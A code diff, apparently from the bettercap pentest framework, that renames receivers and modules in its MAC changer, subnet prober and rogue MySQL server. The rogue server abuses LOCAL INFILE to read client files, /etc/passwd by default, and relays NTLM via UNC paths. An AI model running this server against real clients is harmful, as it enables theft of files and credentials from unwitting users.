||||||
"Stop mac changer module and restore original mac address.",
|
"Stop mac changer module and restore original mac address.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return mc.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return mc
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Name() string {
|
func (mod *MacChanger) Name() string {
|
||||||
return "mac.changer"
|
return "mac.changer"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Description() string {
|
func (mod *MacChanger) Description() string {
|
||||||
return "Change active interface mac address."
|
return "Change active interface mac address."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Author() string {
|
func (mod *MacChanger) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Configure() (err error) {
|
func (mod *MacChanger) Configure() (err error) {
|
||||||
var changeTo string
|
var changeTo string
|
||||||
|
|
||||||
if err, mc.iface = mc.StringParam("mac.changer.iface"); err != nil {
|
if err, mod.iface = mod.StringParam("mac.changer.iface"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, changeTo = mc.StringParam("mac.changer.address"); err != nil {
|
} else if err, changeTo = mod.StringParam("mac.changer.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
changeTo = network.NormalizeMac(changeTo)
|
changeTo = network.NormalizeMac(changeTo)
|
||||||
if mc.fakeMac, err = net.ParseMAC(changeTo); err != nil {
|
if mod.fakeMac, err = net.ParseMAC(changeTo); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
mc.originalMac = mc.Session.Interface.HW
|
mod.originalMac = mod.Session.Interface.HW
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) setMac(mac net.HardwareAddr) error {
|
func (mod *MacChanger) setMac(mac net.HardwareAddr) error {
|
||||||
var args []string
|
var args []string
|
||||||
|
|
||||||
os := runtime.GOOS
|
os := runtime.GOOS
|
||||||
if strings.Contains(os, "bsd") || os == "darwin" {
|
if strings.Contains(os, "bsd") || os == "darwin" {
|
||||||
args = []string{mc.iface, "ether", mac.String()}
|
args = []string{mod.iface, "ether", mac.String()}
|
||||||
} else if os == "linux" || os == "android" {
|
} else if os == "linux" || os == "android" {
|
||||||
args = []string{mc.iface, "hw", "ether", mac.String()}
|
args = []string{mod.iface, "hw", "ether", mac.String()}
|
||||||
} else {
|
} else {
|
||||||
return fmt.Errorf("OS %s is not supported by mac.changer module.", os)
|
return fmt.Errorf("OS %s is not supported by mac.changer module.", os)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err := core.Exec("ifconfig", args)
|
_, err := core.Exec("ifconfig", args)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
mc.Session.Interface.HW = mac
|
mod.Session.Interface.HW = mac
|
||||||
}
|
}
|
||||||
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Start() error {
|
func (mod *MacChanger) Start() error {
|
||||||
if mc.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err := mc.Configure(); err != nil {
|
} else if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err := mc.setMac(mc.fakeMac); err != nil {
|
} else if err := mod.setMac(mod.fakeMac); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return mc.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
mc.Info("interface mac address set to %s", tui.Bold(mc.fakeMac.String()))
|
mod.Info("interface mac address set to %s", tui.Bold(mod.fakeMac.String()))
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mc *MacChanger) Stop() error {
|
func (mod *MacChanger) Stop() error {
|
||||||
return mc.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
if err := mc.setMac(mc.originalMac); err == nil {
|
if err := mod.setMac(mod.originalMac); err == nil {
|
||||||
mc.Info("interface mac address restored to %s", tui.Bold(mc.originalMac.String()))
|
mod.Info("interface mac address restored to %s", tui.Bold(mod.originalMac.String()))
|
||||||
} else {
|
} else {
|
||||||
mc.Error("error while restoring mac address: %s", err)
|
mod.Error("error while restoring mac address: %s", err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -7,7 +7,7 @@ import (
|
||||||
"github.com/bettercap/bettercap/modules/ble"
|
"github.com/bettercap/bettercap/modules/ble"
|
||||||
"github.com/bettercap/bettercap/modules/caplets"
|
"github.com/bettercap/bettercap/modules/caplets"
|
||||||
"github.com/bettercap/bettercap/modules/dhcp6_spoof"
|
"github.com/bettercap/bettercap/modules/dhcp6_spoof"
|
||||||
"github.com/bettercap/bettercap/modules/discovery"
|
"github.com/bettercap/bettercap/modules/net_recon"
|
||||||
"github.com/bettercap/bettercap/modules/dns_spoof"
|
"github.com/bettercap/bettercap/modules/dns_spoof"
|
||||||
"github.com/bettercap/bettercap/modules/events_stream"
|
"github.com/bettercap/bettercap/modules/events_stream"
|
||||||
"github.com/bettercap/bettercap/modules/gps"
|
"github.com/bettercap/bettercap/modules/gps"
|
||||||
|
@ -19,7 +19,7 @@ import (
|
||||||
"github.com/bettercap/bettercap/modules/mysql_server"
|
"github.com/bettercap/bettercap/modules/mysql_server"
|
||||||
"github.com/bettercap/bettercap/modules/net_sniff"
|
"github.com/bettercap/bettercap/modules/net_sniff"
|
||||||
"github.com/bettercap/bettercap/modules/packet_proxy"
|
"github.com/bettercap/bettercap/modules/packet_proxy"
|
||||||
"github.com/bettercap/bettercap/modules/prober"
|
"github.com/bettercap/bettercap/modules/net_probe"
|
||||||
"github.com/bettercap/bettercap/modules/syn_scan"
|
"github.com/bettercap/bettercap/modules/syn_scan"
|
||||||
"github.com/bettercap/bettercap/modules/tcp_proxy"
|
"github.com/bettercap/bettercap/modules/tcp_proxy"
|
||||||
"github.com/bettercap/bettercap/modules/ticker"
|
"github.com/bettercap/bettercap/modules/ticker"
|
||||||
|
@ -37,7 +37,7 @@ func LoadModules(sess *session.Session) {
|
||||||
sess.Register(ble.NewBLERecon(sess))
|
sess.Register(ble.NewBLERecon(sess))
|
||||||
sess.Register(caplets.NewCapletsModule(sess))
|
sess.Register(caplets.NewCapletsModule(sess))
|
||||||
sess.Register(dhcp6_spoof.NewDHCP6Spoofer(sess))
|
sess.Register(dhcp6_spoof.NewDHCP6Spoofer(sess))
|
||||||
sess.Register(discovery.NewDiscovery(sess))
|
sess.Register(net_recon.NewDiscovery(sess))
|
||||||
sess.Register(dns_spoof.NewDNSSpoofer(sess))
|
sess.Register(dns_spoof.NewDNSSpoofer(sess))
|
||||||
sess.Register(events_stream.NewEventsStream(sess))
|
sess.Register(events_stream.NewEventsStream(sess))
|
||||||
sess.Register(gps.NewGPS(sess))
|
sess.Register(gps.NewGPS(sess))
|
||||||
|
@ -49,7 +49,7 @@ func LoadModules(sess *session.Session) {
|
||||||
sess.Register(mysql_server.NewMySQLServer(sess))
|
sess.Register(mysql_server.NewMySQLServer(sess))
|
||||||
sess.Register(net_sniff.NewSniffer(sess))
|
sess.Register(net_sniff.NewSniffer(sess))
|
||||||
sess.Register(packet_proxy.NewPacketProxy(sess))
|
sess.Register(packet_proxy.NewPacketProxy(sess))
|
||||||
sess.Register(prober.NewProber(sess))
|
sess.Register(net_probe.NewProber(sess))
|
||||||
sess.Register(syn_scan.NewSynScanner(sess))
|
sess.Register(syn_scan.NewSynScanner(sess))
|
||||||
sess.Register(tcp_proxy.NewTcpProxy(sess))
|
sess.Register(tcp_proxy.NewTcpProxy(sess))
|
||||||
sess.Register(ticker.NewTicker(sess))
|
sess.Register(ticker.NewTicker(sess))
|
||||||
|
|
|
@ -23,90 +23,89 @@ type MySQLServer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewMySQLServer(s *session.Session) *MySQLServer {
|
func NewMySQLServer(s *session.Session) *MySQLServer {
|
||||||
|
mod := &MySQLServer{
|
||||||
mysql := &MySQLServer{
|
|
||||||
SessionModule: session.NewSessionModule("mysql.server", s),
|
SessionModule: session.NewSessionModule("mysql.server", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
mysql.AddParam(session.NewStringParameter("mysql.server.infile",
|
mod.AddParam(session.NewStringParameter("mysql.server.infile",
|
||||||
"/etc/passwd",
|
"/etc/passwd",
|
||||||
"",
|
"",
|
||||||
"File you want to read. UNC paths are also supported."))
|
"File you want to read. UNC paths are also supported."))
|
||||||
|
|
||||||
mysql.AddParam(session.NewStringParameter("mysql.server.outfile",
|
mod.AddParam(session.NewStringParameter("mysql.server.outfile",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If filled, the INFILE buffer will be saved to this path instead of being logged."))
|
"If filled, the INFILE buffer will be saved to this path instead of being logged."))
|
||||||
|
|
||||||
mysql.AddParam(session.NewStringParameter("mysql.server.address",
|
mod.AddParam(session.NewStringParameter("mysql.server.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the mysql server to."))
|
"Address to bind the mysql server to."))
|
||||||
|
|
||||||
mysql.AddParam(session.NewIntParameter("mysql.server.port",
|
mod.AddParam(session.NewIntParameter("mysql.server.port",
|
||||||
"3306",
|
"3306",
|
||||||
"Port to bind the mysql server to."))
|
"Port to bind the mysql server to."))
|
||||||
|
|
||||||
mysql.AddHandler(session.NewModuleHandler("mysql.server on", "",
|
mod.AddHandler(session.NewModuleHandler("mysql.server on", "",
|
||||||
"Start mysql server.",
|
"Start mysql server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return mysql.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
mysql.AddHandler(session.NewModuleHandler("mysql.server off", "",
|
mod.AddHandler(session.NewModuleHandler("mysql.server off", "",
|
||||||
"Stop mysql server.",
|
"Stop mysql server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return mysql.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return mysql
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Name() string {
|
func (mod *MySQLServer) Name() string {
|
||||||
return "mysql.server"
|
return "mysql.server"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Description() string {
|
func (mod *MySQLServer) Description() string {
|
||||||
return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
|
return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Author() string {
|
func (mod *MySQLServer) Author() string {
|
||||||
return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
|
return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Configure() error {
|
func (mod *MySQLServer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var address string
|
var address string
|
||||||
var port int
|
var port int
|
||||||
|
|
||||||
if mysql.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil {
|
} else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, mysql.outfile = mysql.StringParam("mysql.server.outfile"); err != nil {
|
} else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, address = mysql.StringParam("mysql.server.address"); err != nil {
|
} else if err, address = mod.StringParam("mysql.server.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, port = mysql.IntParam("mysql.server.port"); err != nil {
|
} else if err, port = mod.IntParam("mysql.server.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if mysql.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
|
} else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if mysql.listener, err = net.ListenTCP("tcp", mysql.address); err != nil {
|
} else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Start() error {
|
func (mod *MySQLServer) Start() error {
|
||||||
if err := mysql.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return mysql.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
mysql.Info("server starting on address %s", mysql.address)
|
mod.Info("server starting on address %s", mod.address)
|
||||||
for mysql.Running() {
|
for mod.Running() {
|
||||||
if conn, err := mysql.listener.AcceptTCP(); err != nil {
|
if conn, err := mod.listener.AcceptTCP(); err != nil {
|
||||||
mysql.Warning("error while accepting tcp connection: %s", err)
|
mod.Warning("error while accepting tcp connection: %s", err)
|
||||||
continue
|
continue
|
||||||
} else {
|
} else {
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
@ -117,13 +116,13 @@ func (mysql *MySQLServer) Start() error {
|
||||||
reader := bufio.NewReader(conn)
|
reader := bufio.NewReader(conn)
|
||||||
read := 0
|
read := 0
|
||||||
|
|
||||||
mysql.Info("connection from %s", clientAddress)
|
mod.Info("connection from %s", clientAddress)
|
||||||
|
|
||||||
if _, err := conn.Write(packets.MySQLGreeting); err != nil {
|
if _, err := conn.Write(packets.MySQLGreeting); err != nil {
|
||||||
mysql.Warning("error while writing server greeting: %s", err)
|
mod.Warning("error while writing server greeting: %s", err)
|
||||||
continue
|
continue
|
||||||
} else if read, err = reader.Read(readBuffer); err != nil {
|
} else if read, err = reader.Read(readBuffer); err != nil {
|
||||||
mysql.Warning("error while reading client message: %s", err)
|
mod.Warning("error while reading client message: %s", err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -134,38 +133,38 @@ func (mysql *MySQLServer) Start() error {
|
||||||
loadData := string(capabilities[8])
|
loadData := string(capabilities[8])
|
||||||
username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
|
username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
|
||||||
|
|
||||||
mysql.Info("can use LOAD DATA LOCAL: %s", loadData)
|
mod.Info("can use LOAD DATA LOCAL: %s", loadData)
|
||||||
mysql.Info("login request username: %s", tui.Bold(username))
|
mod.Info("login request username: %s", tui.Bold(username))
|
||||||
|
|
||||||
if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
|
if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
|
||||||
mysql.Warning("error while writing server first response ok: %s", err)
|
mod.Warning("error while writing server first response ok: %s", err)
|
||||||
continue
|
continue
|
||||||
} else if _, err := reader.Read(readBuffer); err != nil {
|
} else if _, err := reader.Read(readBuffer); err != nil {
|
||||||
mysql.Warning("error while reading client message: %s", err)
|
mod.Warning("error while reading client message: %s", err)
|
||||||
continue
|
continue
|
||||||
} else if _, err := conn.Write(packets.MySQLGetFile(mysql.infile)); err != nil {
|
} else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil {
|
||||||
mysql.Warning("error while writing server get file request: %s", err)
|
mod.Warning("error while writing server get file request: %s", err)
|
||||||
continue
|
continue
|
||||||
} else if read, err = reader.Read(readBuffer); err != nil {
|
} else if read, err = reader.Read(readBuffer); err != nil {
|
||||||
mysql.Warning("error while readind buffer: %s", err)
|
mod.Warning("error while readind buffer: %s", err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
if strings.HasPrefix(mysql.infile, "\\") {
|
if strings.HasPrefix(mod.infile, "\\") {
|
||||||
mysql.Info("NTLM from '%s' relayed to %s", clientAddress, mysql.infile)
|
mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile)
|
||||||
} else if fileSize := read - 9; fileSize < 4 {
|
} else if fileSize := read - 9; fileSize < 4 {
|
||||||
mysql.Warning("unpexpected buffer size %d", read)
|
mod.Warning("unpexpected buffer size %d", read)
|
||||||
} else {
|
} else {
|
||||||
mysql.Info("read file ( %s ) is %d bytes", mysql.infile, fileSize)
|
mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize)
|
||||||
|
|
||||||
fileData := readBuffer[4 : read-4]
|
fileData := readBuffer[4 : read-4]
|
||||||
|
|
||||||
if mysql.outfile == "" {
|
if mod.outfile == "" {
|
||||||
mysql.Info("\n%s", string(fileData))
|
mod.Info("\n%s", string(fileData))
|
||||||
} else {
|
} else {
|
||||||
mysql.Info("saving to %s ...", mysql.outfile)
|
mod.Info("saving to %s ...", mod.outfile)
|
||||||
if err := ioutil.WriteFile(mysql.outfile, fileData, 0755); err != nil {
|
if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil {
|
||||||
mysql.Warning("error while saving the file: %s", err)
|
mod.Warning("error while saving the file: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -176,8 +175,8 @@ func (mysql *MySQLServer) Start() error {
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mysql *MySQLServer) Stop() error {
|
func (mod *MySQLServer) Stop() error {
|
||||||
return mysql.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
defer mysql.listener.Close()
|
defer mod.listener.Close()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
156
modules/net_probe/net_probe.go
Normal file
156
modules/net_probe/net_probe.go
Normal file
|
@ -0,0 +1,156 @@
|
||||||
|
package net_probe
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/network"
|
||||||
|
"github.com/bettercap/bettercap/session"
|
||||||
|
|
||||||
|
"github.com/malfunkt/iprange"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Probes struct {
|
||||||
|
NBNS bool
|
||||||
|
MDNS bool
|
||||||
|
UPNP bool
|
||||||
|
WSD bool
|
||||||
|
}
|
||||||
|
|
||||||
|
type Prober struct {
|
||||||
|
session.SessionModule
|
||||||
|
throttle int
|
||||||
|
probes Probes
|
||||||
|
waitGroup *sync.WaitGroup
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewProber(s *session.Session) *Prober {
|
||||||
|
mod := &Prober{
|
||||||
|
SessionModule: session.NewSessionModule("net.probe", s),
|
||||||
|
waitGroup: &sync.WaitGroup{},
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("net.probe.nbns",
|
||||||
|
"true",
|
||||||
|
"Enable NetBIOS name service discovery probes."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("net.probe.mdns",
|
||||||
|
"true",
|
||||||
|
"Enable mDNS discovery probes."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("net.probe.upnp",
|
||||||
|
"true",
|
||||||
|
"Enable UPNP discovery probes."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("net.probe.wsd",
|
||||||
|
"true",
|
||||||
|
"Enable WSD discovery probes."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewIntParameter("net.probe.throttle",
|
||||||
|
"10",
|
||||||
|
"If greater than 0, probe packets will be throttled by this value in milliseconds."))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("net.probe on", "",
|
||||||
|
"Start network hosts probing in background.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.Start()
|
||||||
|
}))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("net.probe off", "",
|
||||||
|
"Stop network hosts probing in background.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.Stop()
|
||||||
|
}))
|
||||||
|
|
||||||
|
return mod
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod Prober) Name() string {
|
||||||
|
return "net.probe"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod Prober) Description() string {
|
||||||
|
return "Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet."
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod Prober) Author() string {
|
||||||
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *Prober) Configure() error {
|
||||||
|
var err error
|
||||||
|
if err, mod.throttle = mod.IntParam("net.probe.throttle"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, mod.probes.NBNS = mod.BoolParam("net.probe.nbns"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, mod.probes.MDNS = mod.BoolParam("net.probe.mdns"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, mod.probes.UPNP = mod.BoolParam("net.probe.upnp"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, mod.probes.WSD = mod.BoolParam("net.probe.wsd"); err != nil {
|
||||||
|
return err
|
||||||
|
} else {
|
||||||
|
mod.Debug("Throttling packets of %d ms.", mod.throttle)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *Prober) Start() error {
|
||||||
|
if err := mod.Configure(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return mod.SetRunning(true, func() {
|
||||||
|
mod.waitGroup.Add(1)
|
||||||
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
|
if mod.Session.Interface.IpAddress == network.MonitorModeAddress {
|
||||||
|
mod.Info("Interface is in monitor mode, skipping net.probe")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
list, err := iprange.Parse(mod.Session.Interface.CIDR())
|
||||||
|
if err != nil {
|
||||||
|
mod.Fatal("%s", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fromIP := mod.Session.Interface.IP
|
||||||
|
fromHW := mod.Session.Interface.HW
|
||||||
|
addresses := list.Expand()
|
||||||
|
throttle := time.Duration(mod.throttle) * time.Millisecond
|
||||||
|
|
||||||
|
for mod.Running() {
|
||||||
|
if mod.probes.MDNS {
|
||||||
|
mod.sendProbeMDNS(fromIP, fromHW)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mod.probes.UPNP {
|
||||||
|
mod.sendProbeUPNP(fromIP, fromHW)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mod.probes.WSD {
|
||||||
|
mod.sendProbeWSD(fromIP, fromHW)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, ip := range addresses {
|
||||||
|
if !mod.Running() {
|
||||||
|
return
|
||||||
|
} else if mod.Session.Skip(ip) {
|
||||||
|
mod.Debug("skipping address %s from probing.", ip)
|
||||||
|
continue
|
||||||
|
} else if mod.probes.NBNS {
|
||||||
|
mod.sendProbeNBNS(fromIP, fromHW, ip)
|
||||||
|
}
|
||||||
|
time.Sleep(throttle)
|
||||||
|
}
|
||||||
|
|
||||||
|
time.Sleep(5 * time.Second)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *Prober) Stop() error {
|
||||||
|
return mod.SetRunning(false, func() {
|
||||||
|
mod.waitGroup.Wait()
|
||||||
|
})
|
||||||
|
}
|
19
modules/net_probe/net_probe_mdns.go
Normal file
19
modules/net_probe/net_probe_mdns.go
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
package net_probe
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/packets"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (mod *Prober) sendProbeMDNS(from net.IP, from_hw net.HardwareAddr) {
|
||||||
|
err, raw := packets.NewMDNSProbe(from, from_hw)
|
||||||
|
if err != nil {
|
||||||
|
mod.Error("error while sending mdns probe: %v", err)
|
||||||
|
return
|
||||||
|
} else if err := mod.Session.Queue.Send(raw); err != nil {
|
||||||
|
mod.Error("error sending mdns packet: %s", err)
|
||||||
|
} else {
|
||||||
|
mod.Debug("sent %d bytes of MDNS probe", len(raw))
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,4 +1,4 @@
|
||||||
package prober
|
package net_probe
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
@ -7,18 +7,18 @@ import (
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/bettercap/bettercap/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (p *Prober) sendProbeNBNS(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
|
func (mod *Prober) sendProbeNBNS(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
|
||||||
name := fmt.Sprintf("%s:%d", ip, packets.NBNSPort)
|
name := fmt.Sprintf("%s:%d", ip, packets.NBNSPort)
|
||||||
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
||||||
p.Debug("could not resolve %s.", name)
|
mod.Debug("could not resolve %s.", name)
|
||||||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||||
p.Debug("could not dial %s.", name)
|
mod.Debug("could not dial %s.", name)
|
||||||
} else {
|
} else {
|
||||||
defer con.Close()
|
defer con.Close()
|
||||||
if wrote, _ := con.Write(packets.NBNSRequest); wrote > 0 {
|
if wrote, _ := con.Write(packets.NBNSRequest); wrote > 0 {
|
||||||
p.Session.Queue.TrackSent(uint64(wrote))
|
mod.Session.Queue.TrackSent(uint64(wrote))
|
||||||
} else {
|
} else {
|
||||||
p.Session.Queue.TrackError()
|
mod.Session.Queue.TrackError()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
|
@ -1,4 +1,4 @@
|
||||||
package prober
|
package net_probe
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
@ -7,18 +7,18 @@ import (
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/bettercap/bettercap/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (p *Prober) sendProbeUPNP(from net.IP, from_hw net.HardwareAddr) {
|
func (mod *Prober) sendProbeUPNP(from net.IP, from_hw net.HardwareAddr) {
|
||||||
name := fmt.Sprintf("%s:%d", packets.UPNPDestIP, packets.UPNPPort)
|
name := fmt.Sprintf("%s:%d", packets.UPNPDestIP, packets.UPNPPort)
|
||||||
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
||||||
p.Debug("could not resolve %s.", name)
|
mod.Debug("could not resolve %s.", name)
|
||||||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||||
p.Debug("could not dial %s.", name)
|
mod.Debug("could not dial %s.", name)
|
||||||
} else {
|
} else {
|
||||||
defer con.Close()
|
defer con.Close()
|
||||||
if wrote, _ := con.Write(packets.UPNPDiscoveryPayload); wrote > 0 {
|
if wrote, _ := con.Write(packets.UPNPDiscoveryPayload); wrote > 0 {
|
||||||
p.Session.Queue.TrackSent(uint64(wrote))
|
mod.Session.Queue.TrackSent(uint64(wrote))
|
||||||
} else {
|
} else {
|
||||||
p.Session.Queue.TrackError()
|
mod.Session.Queue.TrackError()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
package prober
|
package net_probe
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
@ -7,18 +7,18 @@ import (
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/bettercap/bettercap/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (p *Prober) sendProbeWSD(from net.IP, from_hw net.HardwareAddr) {
|
func (mod *Prober) sendProbeWSD(from net.IP, from_hw net.HardwareAddr) {
|
||||||
name := fmt.Sprintf("%s:%d", packets.WSDDestIP, packets.WSDPort)
|
name := fmt.Sprintf("%s:%d", packets.WSDDestIP, packets.WSDPort)
|
||||||
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
||||||
p.Debug("could not resolve %s.", name)
|
mod.Debug("could not resolve %s.", name)
|
||||||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||||
p.Debug("could not dial %s.", name)
|
mod.Debug("could not dial %s.", name)
|
||||||
} else {
|
} else {
|
||||||
defer con.Close()
|
defer con.Close()
|
||||||
if wrote, _ := con.Write(packets.WSDDiscoveryPayload); wrote > 0 {
|
if wrote, _ := con.Write(packets.WSDDiscoveryPayload); wrote > 0 {
|
||||||
p.Session.Queue.TrackSent(uint64(wrote))
|
mod.Session.Queue.TrackSent(uint64(wrote))
|
||||||
} else {
|
} else {
|
||||||
p.Session.Queue.TrackError()
|
mod.Session.Queue.TrackError()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
package discovery
|
